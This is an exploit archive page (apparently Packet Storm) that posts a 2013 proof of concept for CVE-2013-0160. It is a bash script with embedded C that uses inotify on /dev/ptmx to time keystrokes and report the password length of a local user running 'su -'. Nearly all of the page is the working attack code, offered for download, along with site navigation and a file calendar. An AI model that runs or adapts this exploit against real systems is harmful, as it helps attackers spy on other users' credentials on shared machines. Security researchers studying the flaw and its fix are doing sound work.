exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Inter-Keystroke Timing Proof Of Concept

Inter-Keystroke Timing Proof Of Concept
Posted Jan 31, 2013
Authored by vladz

This proof of concept exploit determines the password length of a local user who runs "su -".

tags | exploit, local, proof of concept
advisories | CVE-2013-0160
SHA-256 | 022c6530fd20470c1bf0ebb6d2d713b94830d8056ee73fad6c52655e8f455190

Inter-Keystroke Timing Proof Of Concept

Change Mirror Download
#!/bin/bash
# ptmx-su-pwdlen.sh -- This PoC determine the password length of a local
# user who runs "su -". Done thanks to the ptmx keystroke timing attack
# (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for
# more information.
#
# Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).
#
# "THE BEER-WARE LICENSE" (Revision 42):
# <vladz@devzero.fr> wrote this file. As long as you retain this notice
# you can do whatever you want with this stuff. If we meet some day, and
# you think this stuff is worth it, you can buy me a beer in return. -V.

if ps -e -o cmd= | egrep -q "^(-|^)su"; then
echo "[-] Kill/close all running \"su\" session before using this PoC"
exit 1
fi

exe=$(mktemp) || exit 1
tmp=$(mktemp) || exit 1

cat > ${exe}.c << _EOF_
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/inotify.h>

static int count = 0;

void display_result() {

printf("[+] password len is %d\n", count-1);
_exit(0);
}

int main() {

int fd;
char buf[1024];

signal(SIGINT, display_result);

fd = inotify_init();
inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);

while(read(fd, buf, 1024)) count++;

return 0;
}
_EOF_

cc -o ${exe}{,.c}

echo "[*] Wait for someone to run \"su -\""

while true; do

ps -e -o cmd= | egrep "^(-|^)su" >${tmp}
x=$(wc -l ${tmp})

case ${x% *} in

1) (( run )) && continue;
echo -n "[+] su detected, full command: "
cat ${tmp}; ${exe} &
(( run = 1 )) ;;

2) [ ! -z "$!" ] && kill -2 $!; break ;;

esac

done

rm -f ${exe}{,.c} ${tmp}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close